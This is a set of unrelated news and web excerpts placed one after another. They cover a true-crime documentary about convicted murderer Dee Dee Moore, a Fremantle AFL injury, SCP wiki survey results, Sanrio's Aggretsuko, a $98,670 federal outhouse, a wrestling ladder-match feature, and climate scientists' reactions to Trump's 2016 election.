Friend Greg Massey says the lottery winner "was overwhelmed with people" asking for gifts and eventually became "aggravated".
Befriending Shakespeare, Moore assured him that she could help him to protect his wealth, before transferring his assets into her name.
"Now you have somebody saying, 'I don't need you, I can help you'," Greg explains, appearing on the Episode 2 of the Channel 4 series.
He adds: "It started with the BMW... Then the house, then his money."
However, speaking from behind bars, Moore insists she is "not greedy", declaring: "I had money, I didn't need money like this, I had plenty of money."
She continues: "Abraham was worth more to me alive than dead."
In the months after Shakespeare's disappearance, Moore protested her innocence to police, at one point telling them: "He wants to be missing."
However, she ended up revealing that she knew the location of the victim's body to an undercover officer during the successful police sting.
She subsequently led police to Shakespeare's remains in 2010, which were buried under a concrete slab in woodland behind one of her houses.
However, appearing in the show, she claims the undercover cop "manipulated her" and says: "Why would I lead them back there? Do I look that stupid?"
Moore was convicted by a jury unanimously of first-degree murder in December 2012 and sentenced to life in prison.
(Image: Channel 4)
She will spend the rest of her life behind bars.
In Women Who Kill, Greg Thomas, a Hillsborough County detective, says the convicted murderer was "very arrogant and cocky" to police.
He explains: "Obviously it wasn't going to work. I think in her mind she thought she could continue to pull one over on us."
He adds: "I've been in law enforcement for just over 18 years now and of all the suspects, defendants, individuals that I've encountered there will never be another defendant like 'Dee Dee' Moore. She's a pathological liar."
Moore appears on the programme alongside Celeste Beard-Johnson, who was found guilty of killing her millionaire husband in 2003.
The two murderers, dubbed 'black widows', are both alleged to have carried out their horrific crimes over money.
Like Moore, Beard-Johnson also maintains she is innocent.
She says: "I just can't believe that I'm going to be stuck here for 40 years for something I didn't do."
She adds: "I just have to believe that's not going to happen because if I do, I might as well just die."
Barlow, who rediscovered his best football last season and had been among his team's stars in the opening two rounds, suffered a lateral sprain in a ligament in his left knee.
Dockers football manager Chris Bond confirmed the news on Tuesday.
"It was in the last quarter," Bond said.
"He played out the rest of the game and as we all know had a huge effect on the game and then woke up the next morning a bit sore.
"It's similar to something Ryan Crowley had a few years ago so they'll work off that rehab program.
"It's a four to six week injury but he is exceptional at his rehab and we're hoping that maybe it is a bit earlier."
Fremantle will be without gun midfielder Nat Fyfe and important defender Zac Dawson for Friday night's clash against the Hawks at the MCG after both accepted suspensions from the Match Review Panel
Bond believes the rules regarding both incidents were well known and the Dockers had no choice but to accept the suspensions.
"It was very clear and all our advice suggested that we wouldn't be successful with it," Bond said.
"If we weren't successful then both Nat and Zac would have a substantial amount of carryover points that would have to continue for twelve months so the decision was made to accept it."
Midfielders Lachie Neale and Hayden Crozier and defenders Garrick Ibbotson and Alex Silvagni are among those pushing for inclusion this week.
Barlow has averaged 30 possessions and kicked three goals in Fremantle's 2-0 start to the season, receiving votes in the AFL Coaches' Association champion player award in both matches.
The 26-year-old was the Dockers' leading possession-winner in 2013, averaging 26.5 a game and starring in the club's historic qualifying final win against Geelong at Simonds Stadium.
The former rookie endured a long recovery from a broken leg at the end of 2010 and the start of 2011.
He was among the favourites for the 2014 Brownlow Medal before injury struck.
Out of the 2,662 responses of the survey only 1,195 gave an answer to this question, which is only 45% of the total. I'd like to emphasize the importance of these long form answers and hope to see a better turnout next year.
Of the 1,195 answers, 484 were mostly praise or indifferent/neutral responses. The rest of these results were filtered based on content whether it was trolling, unreadable, or just general ignorance of what SCP is and how it works. The final 711 answers, 27% of total survey entries, that are considered earnest critique are all there for everyone to see. Many were grouped into categories. Some of these are far-fetched and/or frankly impossible, but it's to illustrate the wants and needs of our community at large. If anything, this is just a wishlist so take it with a grain of salt.
Items in blue are technical or design concerns.
are technical or design concerns. Items in green are specifically related to Staff and Staff interactions or duties.
are specifically related to Staff and Staff interactions or duties. Items in orange concern writing content or community standards, which is largely dependent on the authors and commenters on the wiki.
concern writing content or community standards, which is largely dependent on the authors and commenters on the wiki. Items in normal text color don't easily fit into one of the other categories.
Better site layout (Aesthetics) 94 Easier/intuitive site navigation/search 71 Mobile friendly / SCP app 39 Get off Wikidot 23 Put name of SCP in title 16 Previous and Next buttons while browsing 14 Random SCP/Tale doesn't work or takes too long 13 A way to track which SCPs have been read already 11 Clean up forums 5 Tag tales with their SCPs 4 Hide images by default or give the option 4 Display author at bottom of page 3 Sort pages by views or display page views 2 Streamline author communication 2 Ability to upvote/downvote comments 2 Thumbnails of SCP image on lists 2 Notifications for authors when article has been commented on 2 Specific tags page 1 Want a neutral vote option on the rating module 1 Show the site's analytic data 1 Ability to rate articles after a time after joining 1 Individual ranking outside of karma 1 Want nested collapsible 1 Hide author name until after voting 1 Sort tag results by rating 1 Remove votes of inactive users 1 Add a changelog 1 Have the Recently Edited Page show the page ratings 1
Less restrictions/streamline on membership 23 Less restrictions on submissions/deletions 18 More restrictions on submissions 13 Better/More staff availability/activity 5 More restrictions on posts/crit 4 More/streamlining bans of disruptive people 4 Less restrictions on posts 4 Discourage staff cliques/attitude 3 Streamline/Expand deletions 3 More restrictions on membership 3 New admins 2 Staff having better attitudes toward crit/community 2 If revoked, don't want to do forms over again 1 Less diversity for diversity's sake 1 Give admins a limited term of service, maybe yearly 1 Need clear leadership 1 Expedite rewrites 1 Less spotlight on staff 1 More enforcement on image copyright 1
More pictures, videos, audio logs, interactivity 34 More SCPs 25 Friendlier atmosphere for all users 16 More/Promote Tales 12 No more Jokes/Crackfic or moved somewhere else 11 Less redaction in articles 10 More crosslinking/correlation 9 More scary SCPs/tales 7 More uniqueness, creativity, openness, or diversity in articles 6 Too much out-of-universe content presented at face value 5 Updating old SCPs 4 Add content for all the GOIs 4 More joke SCPs 4 Add content for all the MTFs 3 More activity/promotion of canons 3 No more object classes outside of Safe, Euclid, Keter, Thaumiel 3 Less edgy for edginess's sake 3 Community atmosphere is too sensitive 3 More lolFoundation 3 More SCP-001 entries 3 Bring back crosstests 2 More dangerous SCPs 2 Emphasize D-class or low level personnel more in SCPs/tales 2 Less pictures 2 Display date, time, and location of skip acquisition/storage 2 Get rid of Heritage List 2 Update Hall of Fame/Heritage 2 Explain the 'why?' for downvotes 2 Use imperial instead of metric or both 2 More Resurrection canon 2 Canonize some joke SCPs 2 Less collapsibles 1 People's attitude towards article length 1 Write canon for the SCP Containment Breach game 1 Less foul language 1 More anomalous events 1 More culturally diverse SCPs 1 More crossover 1 Rules against fandom SCPs 1 Less crosslinking 1 Get rid of Thaumiel class 1 No more author avatars 1 No more SCP-001 entries 1 More pertinent characters 1 Harder sci-fi tone 1
More events/contests 16 More frequency of front page updates 9 Create a page for 'starter SCPs' for new readers/members 9 More internet promotion 8 Move pages instead of deleting them outright 6 Want merch or branding 6 More availability for crit 5 More consistency with SCPverse canon 5 Want an official German translation wiki 4 An SCP internet fanart/video page 3 More friendly crit 3 Introduce a non-member SCP sandbox 2 An SCP games page 2 More community surveys 2 Be less dependent on chat 2 Better crit in general 2 Chronology of in-universe events 2 A guide for writing tales 1 More appreciation for crit 1 Better SCP guide 1 Want official SCP podcast 1 Host a RL meet and greet 1 Less anime memes and more SCP related stuff on tumblr 1 Create a page for minor canons 1 A non-writer account for voting on SCPs only, less application process 1 Want twitter updates on new articles back 1 Make a hard cap at 3000 SCPs and rotate the lowest ones 1 Reach out to off-site fanbase more 1 Less focus on canons 1
Design or Technical There's a large majority clamoring for a new site theme/layout. Most of the comments are a need for something darker, modern, or an immersive look to the site. We have a Nightmode (see below) already in place as per last year's survey. Some think that this just needs to be the standard in default colors rather than white background and black text. Also the use of some graphics or animations to make it flashy were also suggested. A lot of the suggestions also asked for a larger font size, but it was unclear if they meant for mobile or browser. Either of which should be able to increase the font size in settings in some way or another. Search bar and intuitive navigation was also a big hitter in the list of complaints. Some people were not able to find what they are looking for or are overwhelmed from search results. Lastly for the tech side, the mobile users had their say as they wanted a layout that was much more mobile friendly. Things like the 'Random' button taking too long or a 'Next' and 'Previous' button by default for binge reading was also suggested. This I think stems from the limitations of the Wikidot platform and until we can work around (see Usertools) or effectively muster the resources, time, and knowledge of how to move this will be an ongoing concern. TL;DR - In the short term, site needs a makeover. Long term, get off wikidot.
Staff and Staff Interactions or Duties Main takeaways is that there are people who find the current membership and submission rules to be rather draconic. There were a lot of suggestions to lower the age limit. There was also a suggestion to somehow make a non-writer account just for voting and not for submitting. Some complaints were targeted toward turnaround time in applications for new members. In contrast, there was another group wanting more restrictions on submissions. Complaints against staff were somewhat centered around availability. A few suggested the rotation of the admin position. Others addressed issues with leadership, selectivity, or accusations of elitism. Things to take into consideration going forward. TL;DR - Want a streamlined path to membership and posting.
Writing Content or Community Standards This one was all over the fucking place. Sheesh. The big one was a demand for more media, whether in the article or fanart. There's certainly an appreciation for the visual here, but not only visual… a good half of these were requests for audio logs as well. So there's for sure an audience out there if you're handy with a mic. The rest of the comments were requests for making more SCPs, more tales, and giving tales the spotlight a bit more. There was also some Crackfic and -J hate, suggesting to move them off site entirely because they drag the site down as a whole, but this was not a huge amount of people. TL;DR - More media. More SCPs. More tales. Some people are too harsh.
This is Sanrio’s newest character, Aggretsuko. The Japanese company is known for creating adorable pastel characters like Hello Kitty, but it’s the more bizarre characters like Kirimichan (a salmon filet) and Gudetama (a sleepy egg) that have kept Sanrio’s defining kawaii aesthetic relevant for decades. And all the round edges and big heads mean that even when a red panda has a breakdown at the office, it’s still kinda cute.
Introducing, #Aggretsuko! She's a Red Panda who works as an office associate of a trading company in Tokyo. Watch this video to learn more! pic.twitter.com/wwh79GzRw4 — Sanrio (@sanrio) January 5, 2017
Sanrio has managed to maintain a global cult of fans (Hello Kitty’s current designer Yuko Yamaguchi is something of a celebrity) since its launch in 1960. Sanrio’s success is based at least partially on a cuteness that’s hard to define but easy to see. In an interview with Racked in 2014, Sanrio’s senior director of brand management Dave Marchi said the feeling fans get when they look at a character is “almost like being in love.”
The Interior Department’s Bureau of Land Management is taking heat for spending $98,670 to install a single outhouse at a trailhead in Alaska, the most recent example of federal agencies making questionable purchases in September.
The prefabricated Aspen Single, produced by outhouse manufacturer Romtec Inc., has a single toilet, operates without water and can hold 750 to 1,000 gallons of waste. But the company website puts the estimated starting price of the unit at $10,000, a little more than one-tenth of what the government paid.
That raises the question of what the rest of the money bought. Are transportation or labor costs really hitting tens of thousands of dollars to install an outhouse?
For spending twice the average U.S. annual salary on installing an outhouse at a 1,000 percent markup to list price, the Bureau of Land Management earns this week’s Golden Hammer, a distinction from The Washington Times given for examples of fiscal waste, abuse and mismanagement.
After five companies competed for the contract, BLM hired Alaska-based Big Street Construction, a small company run by a married couple that is listed in federal databases as both owned by a woman and minority-owned.
Big Street Construction’s headquarters are about a four-hour drive from the head of the Swede Lake Trail where the outhouse is destined to go. Costs of the contract, some details of which were first reported by the Web-based news site CNS News, were to cover transporting the outhouse and construction materials to the installation site.
However, the manufacturer, Romtec, is based in Oregon, and government paperwork lists it as the manufacturing location. That suggests that the unit itself is being transported to Alaska all the way from Oregon. The trip from Romtec’s headquarters to the trailhead is almost 2,500 miles.
BLM officials could not be reached for comment Thursday — not an uncommon occurrence during the federal shutdown, when most government officials who communicate with journalists and the public have been put on unpaid furloughs.
Websites and databases also have been shut down. Any attempt to access BLM’s website is redirected to its parent agency, the Interior Department.
A statement from the department — which oversees thousands of national parks — said remaining staff were focused on protecting lives and property.
Representatives for Romtec and Big Street Construction did not return calls seeking comment.
The National Park Service estimates that Denali National Park receives 400,000 visitors a year. The installation of the outhouse is expected to be completed by August.
The unit doesn’t have internal plumbing but operates similar to commercial portable toilets: All waste goes into an “underground vault.” Interior Department personnel then either have to let a separate contract for someone to empty the outhouse when it gets too full or face the unenviable task of doing it themselves.
Government purchases in September often face increased scrutiny, and fiscal watchdogs have long criticized federal agencies for going on shopping sprees in the final month of the fiscal calendar. Despite the fiscal clashes on Capitol Hill, many government departments are still taking a “use it or loose it” mentality to their budgets, fearful that the funding they receive from Congress will be reduced if they don’t spend their allotted budgets by the fiscal year’s end. Some agencies spend double their normal monthly average on purchases often of questionable need for taxpayers.
This isn’t the first time the government has bought an expensive outhouse. In 1997, the National Park Service installed one at a park in Pennsylvania that was estimated to cost more than $300,000.
The fun focuses on three displays — 12.8-inch and 8-inch center displays, plus a 12.3-inch instrument cluster — that almost completely eliminate the standard tactile controls, a little bit like Tesla has done in the Model S. The center display also offers touch feedback, so the driver knows when they've actuated a command without necessarily needing to look at it. Both the appearances of the displays and the color of the interior lighting can be customized to the driver's liking — not unlike a smartphone, VW notes.
But here's the best part: cameras mounted inside the cabin allow you to trigger commands with hand gestures, so you never actually need to touch the displays at all. The company says that the system is "intended to reduce driver distractions while attaining maximum personalization and intuitive operation in the car," noting that a primitive version of it — proximity tracking — is already in production Volkswagens today.
The signature show of WrestleMania weekend will be WWE’s WrestleMania 33, but the contest set to steal the show is a ladder match between the Hardys and the Young Bucks on Saturday night.
“This may very well be the last time we ever face each other,” said Matt Hardy. “After we defeat the Bucks of Youth this time, they will officially be deleted.”
The Hardys first claimed their stake to fame in a ladder match with Edge and Christian and the Dudley Boyz at WrestleMania 2000 in a triangle ladder match. Those three teams then combined to deliver some of the most compelling content in WWE history with the first ever “Tables, Ladders, and Chairs” match, which was followed up by its sequel at WrestleMania XVII.
[youtube:https://www.youtube.com/watch?v=MR683FjRYyw]
“We were the ladders, D-Von and Bully were the tables, and Edge and Christian were the chairs,” Jeff Hardy said. “Those were our weapons, and that’s what made it so magical. For the rest of our lives, we’ll be known for ladder matches. It’s our claim to fame.”
Seventeen years have passed since WrestleMania XVII, and the Hardys now stand alone as the sole icon still active in tag team wrestling. They are, fittingly, matched up with the most talented tag team in wrestling, the Young Bucks.
“I do judge myself as the master of ladders in all of professional wrestling, and I always will,” Jeff Hardy said. “I’ve strained my brain on a day-to-day for what to do this Saturday, and I’ve got a few things up my sleeve.”
Despite the magnitude of the match, it will not take place at WrestleMania, nor will this revolutionary encounter be televised. Ring of Honor’s Supercard of Honor will be broadcast on FITE TV, but the show takes place 56.2 miles away from Orlando in Lakeland, Fla. But the location of the venue won't matter much once the Hardys and Bucks step into the ring and onto the ladders.
“Tell the Hardys to bring their best and to wrestle like it’s the early 2000s again,” the Bucks’ Matt Jackson said. “We’re the kings of these matches these days. They made the tag team match famous but we’ve taken it to a whole new level.”
While most people are familiar with the Hardys, wrestling fans are still getting to know the Young Bucks.
Matt and Nick Jackson are often mistaken as the younger doppelgangers of Matt and Jeff Hardy. Matt Jackson’s dark hair and sideburns nearly mirror the look of Matt Hardy, while Nick Jackson is seemingly intrinsically connected to the swashbuckling Jeff Hardy.
Nick Jackson is more than familiar—flattered, even—by the constant comparisons throughout his career to Jeff Hardy.
“Jeff Hardy is a daredevil,” Nick Jackson said. “He seems like he can do any type of crazy stunt and never get hurt. There’s something about him that separates him from the rest. He has this enigma about him that makes him so awesome.”
Matt Jackson is also grateful for the comparisons to Matt Hardy, who has completely evolved his character, once again, by transforming from “Big Money” Matt into “Broken” Matt Hardy.
“Matt’s sort of the businessman behind the Hardys’ success,” Matt Hardy said. “He’s the mastermind, and the thing I love most about Matt Hardy is his genius of constantly reinventing himself. He has stayed relevant and on top for so many years but always stays fresh.”
Jeff Hardy admitted that watching the Bucks is like looking into his past.
“The Bucks remind me so much of us,” Jeff said. “It’s amazing to see how over they are with the crowds, and now that I’ve worked with them, I can see why. They’ve reinvented something the NWO did with the ‘Too Sweet’ and ‘Suck It’ chants, and it works. Bottom line, they are great and inspire me to push myself to be just as good as I can be.”
Despite the similarities—and both teams are adorned in gold and well-compensated for their work—their paths to success are polar opposites. With the legendary Jim Ross calling their matches, the Hardys rose to fame in the WWE, building their following by elevating themselves to the top of the number one wrestling conglomerate in the world. After parting ways with WWE, the Hardys have also dominated TNA Impact Wrestling, and most recently reinvented themselves by touring the world as part of the indies.
“House Hardy, myself and Brother Nero, are pioneers,” Matt Hardy said. “My style of booking during early independent bookings was very similar to what Ring of Honor later become, which is what WWE later became. The current WWE superstars are filled with former Ring of Honor stars, and there is that very athletic, exciting, almost-cruiserweight style of contests. The business has started to migrate more closely to that, and those were the shows we were putting on in ‘94, ‘95, and ‘96. We didn’t have the strongest psychology at the time, but we had a good grasp of what the people wanted to see to be entertained. Once we had the opportunity to come to WWE and we got our feet underneath us, we then started the whole ladder match craze, and we added tables and chairs to it, and started the TLC match, and that was especially trailblazing.
“Even once I separated with Jeff, I was able to show I was strong on my own. Many people found ‘Mattitude’ absolutely delightful. As time went on, it was a constant evolution of change. The most recent time was when my broken brilliance manifested. We took the business in a whole new direction, and even though we left Impact Wrestling, it proved that we are bigger than some brands. When we showed up at the Honorable Ring and won the tag team titles of the world, the place went insane. Something we’ve always taken pride in is evolving the game and pushing the business to go to new places, and that’s what we are doing now and what we plan on doing in the near foreseeable future.”
The Young Bucks were booked as an afterthought in TNA, then worked tirelessly to build their own brand in Ring of Honor, New Japan Pro Wrestling, and the indies. Their rise to fame was never easy, but the Bucks are firm believers that success is not complicated. Success for the Bucks is coming to work every day, remaining creative and being willing to outwork their opponent.
“Every time we wrestle, we treat it like it’s WrestleMania,” Matt Jackson said. “I’m not kidding. We never take a night off.”
To the Bucks, being recognized as a top tag team in the world is not an accomplishment. It is the outside world coming to grips with what they have worked toward on a daily basis.
“This ladder match is particularly a big one for us, as we’ve put a lot of thought, emotion, and effort into the build of it,” Matt Jackson said. “We want to make it memorable.”
While the Bucks are popular because of their talent in the ring, their connection with audiences worldwide extends far deeper than high spots and superkicks. They put together a masterpiece this past September in their “Ladder Wars” match, which has been compared to the WrestleMania XVII TLC affair.
“This ladder match will be pretty different,” Nick Jackson said. “I don’t think it’s possible to top that ‘Ladder Wars’ match because we took way too many risks and got lucky that we were not seriously hurt. This will be different because we have two teams that are over-the-top characters that want to prove they are the best tag team in the world.”
Danger, as Nick Jackson noted, is an inherent piece of a ladder match. Devon Hughes, who was D-Von Dudley in the Dudley Boyz, can relate.
“I was hanging 25 feet up in the air with Jeff Hardy, which is something I’ll never do again,” D-Von Dudley told Sports Illustrated before the Dudleys re-signed with WWE two summers ago.
“Jeff Hardy was one crazy son of a b----,” D-Von said. “Matt was crazy too, but Jeff didn’t care about his body—he still doesn’t. Jeff will go out to the top of a building to do a swantom bomb. If the guy moves, he’ll just land on the concrete.
“During the TLC match at WrestleMania XVII, we had to come up with a spot to take each other out, and someone thought we could have Jeff and me hang from the ring again. I said, ‘Absolutely not.’”
Jeff Hardy persuaded D-Von into an unforgettable sequence.
“I wanted to hang off those rings, and I wanted to have multiple human bodies up there,” Jeff Hardy said. “When we got up there, it was surreal.”
The spot called for Jeff Hardy to kick D-Von until he dropped violently back to the canvas, but Hardy was not supposed to kick D-Von until after Edge and Christian removed the fallen ladders.
“Remember, the ladder hadn’t moved yet,” reminded D-Von. “But Jeff Hardy was in such a zone he wouldn’t stop kicking me. I was screaming at Edge, ‘Please move the ladder!’ I remember yelling at Jeff, ‘If you ever loved me, then for the love of God, you would stop kicking me! The ladder has not moved!’
“Jeff never stopped kicking me. He still apologizes to me about it ‘till this day, but like I always tell him, I’ll never hang up there with him again.”
Jeff Hardy recalls the story, albeit with a slightly different perspective.
“I guess I didn’t notice the ladder was down there,” Jeff Hardy said. “I was all young and invincible, and I thought it was clear.
“It’s almost like time still stood. I’ll never forget D-Von’s face, I’ll never forget him saying he wasn’t ready. It is one of those moments that is immortal, will still be cool in 20 years, and one that I’ll never forget.”
The Hardys set the blueprint for a ladder match. The challenge for their match with the Bucks, former TLC combatant Bubba Dudley explained to SI, is making sure that the Bucks leave the match looking as the Hardys’ equal.
“From the Hardys’ point of view, they’ve been there, they’ve done that, and they’ll look to add to the Hardy legacy,” said Dudley, who wrestles as singles star Bully Ray. “More importantly, how can the Hardys get the Bucks over even more? The Hardys want to get the Bucks to the next level, and that’s what I want to see happen.”
Bully Ray is fully aware of the nuances and subtleties that manifest in this match, and he'll be watching the Hardys take on the Bucks with an eye on the mental side of the match.
“I am looking for excitement built around psychology,” Bully said. “Too often, you watch gimmick matches with ladders or tables, and the psychology of using the gimmick is never enforced. I hate when guys have a ladder match and just do superfluous ladder spots and not try to win the match. I want them to have an extremely exciting match, but I want the match to be psychologically sound.”
With the Hardy legacy already well-established, the challenge for the Bucks is to leave an imprint on this match.
“This is a challenge they are more than willing to accept,” Bully said. “The Bucks had ‘Ladder Wars’ in Ring of Honor, and they tore the house down. They actually told me that they sat down and watched TLC I and II the night before the match because they wanted to see the psychology in our matches. The Bucks look at this as an awesome challenge, and the intangible here is the Bucks. They are like Edge and Christian, they bring a different dynamic. They are the best tag team in the world.”
WWE announced that the tag team title match at WrestleMania 33 between Gallows and Anderson, Enzo and Cass, and Cesaro and Sheamus will also be a ladder match. With rumors rampant that the Hardys are returning to WWE, Matt Hardy did nothing to quell that notion.
“The best ladder match of the weekend will be the one with the Hardys,” said Matt Hardy, careful not to mention where the match would actually take place. “It is amazing that, whenever a ladder match is announced, people automatically think of the Hardys. People so often think back to the amazing TLC matches we had with our brothers in tables, ladders, and chairs with Edge and Christian and the Dudleys. That is a compliment of the highest regard.”
As for a WWE return, Jeff Hardy is also open to returning home to WrestleMania.
“I’d like to end my career where it began,” Jeff Hardy said. “If not this year, then next.”
Originally, the match between the Hardys and Young Bucks was scheduled to be an inter-promotional match for the Ring of Honor and Impact Wrestling tag team championship belts, which was forced to change after the Hardys exited Impact Wrestling.
“Initially, I had come up with the idea of making it a ladder match for all of the titles,” Matt Jackson explained. “The ROH and TNA titles would both hang from above the ring. Obviously that didn’t work out, but we’re still getting the ladder match. We plan on having the best match of the weekend, and I don’t think anything else will come close.”
Although this match will be a challenge for the Bucks, Nick Jackson noted that it is also a dream come true.
“This is one of the matches that Matt and I have always dreamed about having,” Nick Jackson said. “We’re the two most talked about tag teams in wrestling right now, and the timing is perfect. It’s been such a hot angle that fans wanted and we’re going to give them a show on Saturday.”
The reality of the match is that both teams have a lot at stake. The Young Bucks are still hungry to prove they genuinely are the best tag team in all of history, and the Hardys—42-year-old Matt and 39-year-old Jeff—will aim to prove they remain as relevant as ever in a new age of pro wrestling, especially in a match that they made famous.
“It’s so much fun to live up to that challenge of staying relevant,” Jeff Hardy said. “And as long as I’m able to wrestle, it’s inevitable that I will get excited about wrestling about a ladder match. That’s my claim to fame with Matt. It was the ladder match that helped us turn the curve in 2000 in the greatest way possible. It’s so much fun to challenge yourself, and it’s so exciting to be doing as well as we’re doing now. We’re working Ring of Honor’s biggest show ever, and I’m so grateful to be just as relevant and respected now as I was in ‘99.”
When asked why he would agree to a match that will, undoubtedly, leave him in agony and pain, Matt Hardy smiled.
“This is what we do,” Matt Hardy said. “To know you’re truly alive in wrestling, you have to constantly challenge yourself. You constantly have to do things that you’re unsure you can do. Performing in a ladder match against one of the most athletically gifted teams of the last ten years, at this stage in the game after doing this for a quarter of a century, is a chance to show that we are the greatest tag team in all space and time. This is what we love to do. When I’m out there, I have the pressure on me. I have to perform, I have to produce, and that’s when I truly feel that I am alive.”
The Hardys have forever changed the perception of mega-stars working on the independent scene over the last five years. They also reinvigorated a dying TNA product, brought genuine excitement to Ring of Honor, and now, on the precipice of their WWE return, plan on creating history with the Young Bucks.
“I can promise you that this match is going to be a story,” Matt Hardy said. “It’s going to become iconic. The match between the Bucks of Youth and the House Hardy on Saturday is going to blow everyone’s mind. It’s going to show that tag team wrestling is a main event style match when it is promoted properly and the right players are in place. We’re going to steal the show, we’re going to be the main event that leaves everyone talking about how this stole WrestleMania weekend.”
As one of the world’s largest greenhouse gas emitters, any change at the top of US politics warrants a consideration of what it might mean for the country’s climate and energy priorities.
But given Trump’s comments on the campaign trail, the US’s recent reputation under Barack Obama as a nation serious about tackling climate change now looks to be in peril.
For example, Trump said he thought climate change was a “hoax” perpetrated by the Chinese. In addition, he pledged to end federal spending on low-carbon energy and to pull the US out of the UN’s Paris Agreement on climate change. Carbon Brief has been asking climate scientists for their reactions.
Dr Philip B Duffy, executive director of the Woods Hole Research Center and former senior policy analyst in the White House Office of Science and Technology Policy:
Dr Malte Meinhausen, senior researcher in climate impacts at the University of Melbourne and the Potsdam Institute for Climate Impact Research:
“Trump said a lot of things. It looks like the Trump administration could do anything. From playing a destructive role in international climate protection to just letting others get on with the job…However, despite the momentum for climate protection having, in part, an autonomous motor due to the economics of lower cost renewable energies, a hostile Trump administration towards the Paris Agreement could do a lot of damage.
“Trump won’t be able to withdraw from the Paris Agreement for three years (Article 28) now that it just entered into force – one of the world’s major success stories. A hostile Trump administration could, however, withdraw from the UNFCCC Convention and thereby also from the Paris Agreement indirectly. In theory, that could happen quicker. It’s unlikely that the administration would do so much self-harm, so. But Trump seems to defy conventional wisdom, so we don’t know.
“The Paris Agreement without the US would live on, but the spirit and the international focus on one of the defining challenges of our time could get lost. And the economic opportunities for the US will get lost too…Not a good outcome for the US in that respect. Not a good outcome for the climate. Too early to tell how bad it will be, though. One can hear the world gasping for air”
Prof Hans Joachim Schellnhuber, director of the Potsdam Institute for Climate Impact Research:
“President-elect Donald Trump’s stance on global warming is well known. Ironically, he contributed to the popularity of our recent ‘Turn down the heat’ report series for the World Bank by attacking it on Twitter.
“Yet apart from this, science cannot expect any positive climate action from him. The world has now to move forward without the US on the road towards climate-risk mitigation and clean-technology innovation.”
“The US de-elected expertise and will likely show a blockade mentality now, so Europe and Asia have to pioneer and save the world. Formally leaving the Paris Agreement would take longer than one Presidential term, yet of course the US could simply refuse reducing national emissions which would mean a de facto exit out of international climate policy. Now the US are one of the world’s biggest economies, and even just four years of unbridled emission staying in the atmosphere for many hundreds years would make a substantial difference. The climate system doesn’t forget, and it doesn’t forgive. The US is prone to potentially devastating climate change impacts. Hurricanes hit US coastal cities, the California drought affected farmers, and a state like Florida is particularly exposed to sea-level rise. Sadly, in the long run nature itself might show the US citizens that climate change as a matter of fact is not a hoax. But it might be too late.”
Dr Rachel James, research fellow in climate modelling at the Environmental Change Institute at the University of Oxford:
Dr Twila Moon, lecturer in cryospheric sciences at the University of Bristol:
“Having a person in the position of US President who does not acknowledge scientific facts establishing the clear reality of human-caused climate change is a disgrace. This is a sad and scary outcome for science and for action on halting harmful climate change.
“But I am hopeful that the American people – from all parties – are realising that climate change is happening in our own backyards, and the will of the people will push the political needle. I think our response must be to work harder, together to move forward on climate action locally, regionally, and, as best as possible, nationally. As a human being, I think it is our moral obligation.”
Prof Andrew Dessler, professor of atmospheric sciences at Texas A&M University:
“I don’t think anyone knows what this means for US policy on climate science or emissions reductions. I think we all expected that the Clean Power Plan would end eventually up in front of the Supreme Court, and its fate there is more doubtful now that Trump gets to appoint the next Justice. On the other hand, renewable power is getting cheap fast, and my optimistic hope is that renewable energy gets so cheap that we switch to it without any national government policy. I guess we’ll see!”
Prof Shaun Marcott, professor in palaeoclimate at the University of Wisconsin-Madison:
“This election in terms of future global climate change was critical as the new president will be making decisions that will have long lasting consequences, both in the policy being set in the homeland and policies that they will help set with their international counterparts.
“Much like Britain and the Brexit vote, the U.S. now finds itself at a crossroad and heading in a direction that, in my opinion, does not appear to be sustainable. This is obvious, I think, to most people. I think the best way I’ve heard it described is that decisions made by this incoming president will set in policies that could have lasting climate change effects extending 10,000 years into the future. The stakes were high and unfortunately both of our leading candidates didn’t even discuss, or did so very rarely, climate change at large in any of the debates.”
Prof Charles F Kennel, distinguished professor emeritus at the Scripps Institute of Oceanography:
Dr Emily Shuckburgh, head of open oceans at the British Antarctic Survey:
“A significant theme of recent political discourse has been the use and misuse of evidence. In moving forward, rather than bemoan a “post-truth world”, those of us who have roles in gathering, curating and disseminating evidence must strive to understand the process of human decision-making better.
“We absolutely need to make policy on climate and other matters that is consistent with the evidence base. But within a democracy, this has to be achieved through the will of the people. That requires broad and deep engagement by us with all sections of the wider society to understand the contextual circumstances and to proactively place the evidence in frames that are relevant to people.
“If we are to meet the objectives of the Paris Agreement, it is abundantly clear that a major transformation of society will be required. This is a significant technological challenge, but the political events in the US and UK that have surprised the establishment also serve to remind us the importance of recognising the implications of change for all sectors of society. If we can learn from this, there is hope that we may be able to successfully navigate the perilous journey ahead of us in responding to the climate challenge.”
Prof Jean-Pierre Gattuso, professor of biological oceanography at the Centre National de la Recherche Scientifique, Sorbonne University and the Institute for Sustainable Development and International Relations (IDDRI).
“The result of the US presidential election is very worrisome on many counts, including of course for climate negotiations. The Paris Agreement is a construct that was many years in the making and is, therefore, extremely fragile. Even though the US cannot formally leave the agreement in the next 4 years, not having the US on board and pushing for the full implementation of the Paris Agreement may well affect billions of people for hundreds of years. The outcome of this election is clearly not the end of the world but the consequences for humanity are potentially dreadful.”
Prof Jason Box, professor in glaciology at the Geologic Survey of Denmark and Greenland:
“Those of us in the sciences are all about the rational and we surround ourselves by rational media. The US election outcome reflects the irrational and how those voters were influenced by irrational media.”
Prof Jean-Pascal van Ypersele, professor of climatology and environmental sciences at the Université Catholique de Louvain:
Dr Michael. E. Mann, distinguished professor of atmospheric science at Penn State University
“To quote James Hansen, I fear this may be game over for the climate.”
Prof Eric Steig, professor of earth and space science at the University of Washington:
“It’s impossible to know just how far Trump and the Republican controlled House and Senate will want to push an anti-intellectual, anti-science agenda. I suspect there will be more immediate political concerns. In the medium term, I don’t expect there will be major cuts to science funding; I think Trump will likely govern less as an ideologue and more as an opportunist in this respect. It now is exceedingly unlikely, of course, that any international climate change mitigation agreements will proceed; or if they do, it will not be with the U.S on board.”
Dr Niklas Höhne, professor for mitigation of greenhouse gases at Wageningen University and founding partner of the NewClimate Institute: “This election result seriously threaten the US’s federal climate action. In the worst case, Trump will work towards reversal of the Clean Power Plan. If the Clean Power Plan was to be permanently stopped, emissions projections would be significantly higher than in its absence and we would be seeing an increasing emissions trend over the next decade – at around 6% below 2005 levels in 2025. All eyes are now on the federal states to pursue further climate policies, but the impact on the USA’s overall contribution may be limited. This means that the climate target that the USA communicated as part of the Paris Agreement process, the “nationally determined contribution”, will probably not be met, and US emissions will remain stable at current levels until 2030.
